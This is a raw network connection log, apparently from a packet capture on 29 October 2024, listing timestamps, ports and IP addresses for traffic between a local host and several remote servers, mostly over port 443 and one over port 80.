Oct 29, 2024 15:27:33.066821098 CET	443	49851	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.069597006 CET	49861	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.069650888 CET	443	49861	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.069830894 CET	49861	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.075671911 CET	49861	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.075689077 CET	443	49861	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.141563892 CET	443	49854	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.141621113 CET	443	49854	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.141685009 CET	49854	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.143006086 CET	49854	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.143028975 CET	443	49854	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.143044949 CET	49854	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.143053055 CET	443	49854	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.145539999 CET	49862	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.145566940 CET	443	49862	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.145642996 CET	49862	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.145865917 CET	49862	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.145875931 CET	443	49862	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.162872076 CET	443	49849	216.58.206.46	192.168.2.6
Oct 29, 2024 15:27:33.216097116 CET	49849	443	192.168.2.6	216.58.206.46
Oct 29, 2024 15:27:33.216108084 CET	443	49849	216.58.206.46	192.168.2.6
Oct 29, 2024 15:27:33.217442989 CET	49849	443	192.168.2.6	216.58.206.46
Oct 29, 2024 15:27:33.217525005 CET	443	49849	216.58.206.46	192.168.2.6
Oct 29, 2024 15:27:33.217597961 CET	49849	443	192.168.2.6	216.58.206.46
Oct 29, 2024 15:27:33.744792938 CET	443	49859	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.745212078 CET	49859	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.745240927 CET	443	49859	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.746025085 CET	49859	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.746031046 CET	443	49859	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.779084921 CET	443	49858	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.779742956 CET	49858	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.779752016 CET	443	49858	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.780325890 CET	49858	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.780332088 CET	443	49858	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.807873011 CET	443	49861	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.808286905 CET	49861	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.808322906 CET	443	49861	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.808801889 CET	49861	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.808813095 CET	443	49861	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.880112886 CET	443	49859	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.880373001 CET	443	49859	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.880445957 CET	49859	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.880801916 CET	49859	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.880801916 CET	49859	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.880827904 CET	443	49859	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.880834103 CET	443	49859	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.881575108 CET	443	49862	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.882436037 CET	49862	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.882447004 CET	443	49862	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.883131027 CET	49862	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.883135080 CET	443	49862	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.885565042 CET	49864	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.885693073 CET	443	49864	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.885786057 CET	49864	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.885950089 CET	49864	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.885988951 CET	443	49864	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.941946030 CET	443	49858	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.942024946 CET	443	49858	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.942081928 CET	49858	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.942215919 CET	49858	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.942223072 CET	443	49858	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.942233086 CET	49858	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.942236900 CET	443	49858	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.943989038 CET	443	49861	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.944067955 CET	443	49861	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.944235086 CET	49861	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.944351912 CET	49861	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.944353104 CET	49861	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.944401026 CET	443	49861	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.944431067 CET	443	49861	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.945174932 CET	49865	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.945218086 CET	443	49865	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.945585012 CET	49865	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.945702076 CET	49865	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.945723057 CET	443	49865	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.946819067 CET	49866	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.946835995 CET	443	49866	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.946959019 CET	49866	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.947105885 CET	49866	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.947115898 CET	443	49866	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.999356985 CET	80	49856	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:33.999424934 CET	49856	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:34.017941952 CET	443	49860	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.018196106 CET	443	49862	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.018265009 CET	443	49862	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.018358946 CET	49862	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.027990103 CET	49860	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.028007984 CET	443	49860	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.028660059 CET	49860	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.028671980 CET	443	49860	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.038223982 CET	49862	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.038252115 CET	443	49862	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.038270950 CET	49862	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.038280010 CET	443	49862	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.059159994 CET	49867	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.059199095 CET	443	49867	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.059273958 CET	49867	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.059462070 CET	49867	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.059474945 CET	443	49867	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.141645908 CET	49826	443	192.168.2.6	172.217.18.100
Oct 29, 2024 15:27:34.154086113 CET	443	49860	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.154712915 CET	443	49860	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.154762983 CET	443	49860	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.154829979 CET	49860	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.155026913 CET	49860	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.155049086 CET	443	49860	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.155189037 CET	49860	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.155200005 CET	443	49860	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.156374931 CET	49856	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:34.158411026 CET	49868	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.158452034 CET	443	49868	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.158556938 CET	49868	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.158730984 CET	49868	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.158745050 CET	443	49868	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.162158966 CET	80	49856	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:34.609476089 CET	443	49864	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.610116959 CET	49864	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.610172987 CET	443	49864	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.610635996 CET	49864	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.610641956 CET	443	49864	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.674160004 CET	443	49866	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.675071955 CET	49866	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.675106049 CET	443	49866	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.675750017 CET	49866	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.675760984 CET	443	49866	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.690454006 CET	443	49865	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.690897942 CET	49865	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.690931082 CET	443	49865	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.691603899 CET	49865	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.691613913 CET	443	49865	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.789650917 CET	443	49864	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.789711952 CET	443	49864	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.789823055 CET	49864	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.790071964 CET	49864	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.790085077 CET	443	49864	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.790122986 CET	49864	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.790128946 CET	443	49864	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.793665886 CET	49869	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.793705940 CET	443	49869	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.793786049 CET	49869	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.793951035 CET	49869	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.793962002 CET	443	49869	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.794462919 CET	443	49867	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.794866085 CET	49867	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.794893026 CET	443	49867	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.795383930 CET	49867	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.795392990 CET	443	49867	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.804790974 CET	443	49866	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.804867029 CET	443	49866	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.804924965 CET	49866	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.805120945 CET	49866	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.805126905 CET	443	49866	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.805151939 CET	49866	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.805156946 CET	443	49866	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.807331085 CET	49870	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.807379007 CET	443	49870	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.807533026 CET	49870	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.807667017 CET	49870	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.807686090 CET	443	49870	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.823498011 CET	443	49865	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.823530912 CET	443	49865	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.823585033 CET	443	49865	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.823589087 CET	49865	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.823662996 CET	49865	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.823777914 CET	49865	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.823797941 CET	443	49865	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.823812962 CET	49865	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.823820114 CET	443	49865	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.825860977 CET	49871	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.825889111 CET	443	49871	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.826056957 CET	49871	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.826172113 CET	49871	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.826199055 CET	443	49871	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.890160084 CET	443	49868	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.890685081 CET	49868	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.890707970 CET	443	49868	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.891169071 CET	49868	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.891176939 CET	443	49868	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.952867031 CET	443	49867	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.952893019 CET	443	49867	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.952929974 CET	443	49867	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.952948093 CET	49867	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.952986002 CET	49867	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.953207970 CET	49867	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.953232050 CET	443	49867	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.953248024 CET	49867	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.953255892 CET	443	49867	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.954581022 CET	80	49856	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:34.954652071 CET	49856	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:34.956185102 CET	49872	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.956224918 CET	443	49872	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:34.956302881 CET	49872	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.956583977 CET	49872	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:34.956604958 CET	443	49872	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.024861097 CET	443	49868	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.024935007 CET	443	49868	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.024993896 CET	49868	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.025285959 CET	49868	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.025298119 CET	443	49868	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.025312901 CET	49868	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.025320053 CET	443	49868	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.028408051 CET	49873	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.028475046 CET	443	49873	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.028553963 CET	49873	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.029032946 CET	49873	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.029057026 CET	443	49873	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.570404053 CET	443	49869	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.575134039 CET	49869	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.575181961 CET	443	49869	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.579338074 CET	49869	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.579369068 CET	443	49869	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.596071959 CET	443	49870	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.596718073 CET	49870	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.596743107 CET	443	49870	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.597460985 CET	49870	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.597467899 CET	443	49870	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.698590040 CET	443	49872	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.708767891 CET	443	49869	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.708798885 CET	443	49869	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.708842993 CET	443	49869	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.708867073 CET	49869	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.708918095 CET	49869	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.725078106 CET	49872	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.725120068 CET	443	49872	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.725712061 CET	49872	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.725723028 CET	443	49872	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.730634928 CET	49869	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.730659962 CET	443	49869	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.730671883 CET	49869	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.730676889 CET	443	49869	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.775557041 CET	443	49870	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.775648117 CET	443	49870	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.775722027 CET	49870	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.784869909 CET	49870	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.784898043 CET	443	49870	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.784913063 CET	49870	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.784919024 CET	443	49870	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.787462950 CET	443	49871	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.806195974 CET	49874	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.806250095 CET	443	49874	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.806330919 CET	49874	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.809514046 CET	49875	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.809535980 CET	443	49875	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.809803009 CET	49875	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.810184002 CET	49871	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.810218096 CET	443	49871	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.810947895 CET	49871	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.810954094 CET	443	49871	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.813218117 CET	443	49873	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.813937902 CET	49873	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.813963890 CET	443	49873	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.814579010 CET	49873	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.814585924 CET	443	49873	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.821245909 CET	49874	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.821279049 CET	443	49874	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.821422100 CET	49875	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.821453094 CET	443	49875	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.898241043 CET	443	49872	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.898314953 CET	443	49872	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.898391008 CET	49872	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.916941881 CET	49872	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.916979074 CET	443	49872	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.932908058 CET	49876	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.932984114 CET	443	49876	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.933073044 CET	49876	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.941401958 CET	49876	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.941451073 CET	443	49876	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.944195032 CET	443	49871	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.944236994 CET	443	49871	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.944309950 CET	443	49871	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.944376945 CET	49871	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.952627897 CET	49871	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.952655077 CET	443	49871	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.952681065 CET	49871	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.952694893 CET	443	49871	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.964433908 CET	443	49873	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.964462996 CET	443	49873	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.964514971 CET	443	49873	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.964544058 CET	49873	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.964575052 CET	49873	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.964981079 CET	49873	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.964981079 CET	49873	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:35.965006113 CET	443	49873	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:35.965027094 CET	443	49873	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:36.001169920 CET	49877	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:36.001220942 CET	443	49877	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:36.001318932 CET	49877	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:36.006640911 CET	49877	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:36.006679058 CET	443	49877	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:36.012706995 CET	49878	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:36.012753010 CET	443	49878	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:36.012842894 CET	49878	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:36.012959957 CET	49878	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:36.012986898 CET	443	49878	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:36.581614971 CET	443	49874	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:36.613375902 CET	49874	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:36.613406897 CET	443	49874	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:36.613940001 CET	49874	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:36.613946915 CET	443	49874	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:36.617878914 CET	443	49875	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:36.618221998 CET	49875	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:36.618244886 CET	443	49875	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:36.618884087 CET	49875	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:36.618896961 CET	443	49875	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:36.695061922 CET	443	49876	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:36.732958078 CET	49876	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:36.733017921 CET	443	49876	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:36.733666897 CET	49876	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:36.733683109 CET	443	49876	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:36.741517067 CET	443	49874	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:36.742295027 CET	443	49874	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:36.742369890 CET	49874	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:36.744456053 CET	49874	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:36.744477987 CET	443	49874	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:36.744488001 CET	49874	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:36.744494915 CET	443	49874	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:36.754731894 CET	443	49877	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:36.755299091 CET	49877	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:36.755317926 CET	443	49877	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:36.755752087 CET	49877	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:36.755757093 CET	443	49877	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:36.756310940 CET	443	49878	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:36.758677006 CET	49878	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:36.758697987 CET	443	49878	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:36.759380102 CET	49878	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:36.759392023 CET	443	49878	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:36.864284992 CET	443	49876	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:36.864357948 CET	443	49876	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:36.864422083 CET	49876	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:36.888334990 CET	443	49877	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:36.888366938 CET	443	49877	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:36.888418913 CET	443	49877	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:36.888457060 CET	49877	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:36.888490915 CET	49877	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:36.888521910 CET	443	49878	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:36.888684034 CET	443	49878	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:36.888737917 CET	49878	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:36.906160116 CET	443	49875	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:36.906253099 CET	443	49875	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:36.906363010 CET	49875	443	192.168.2.6	13.107.246.45
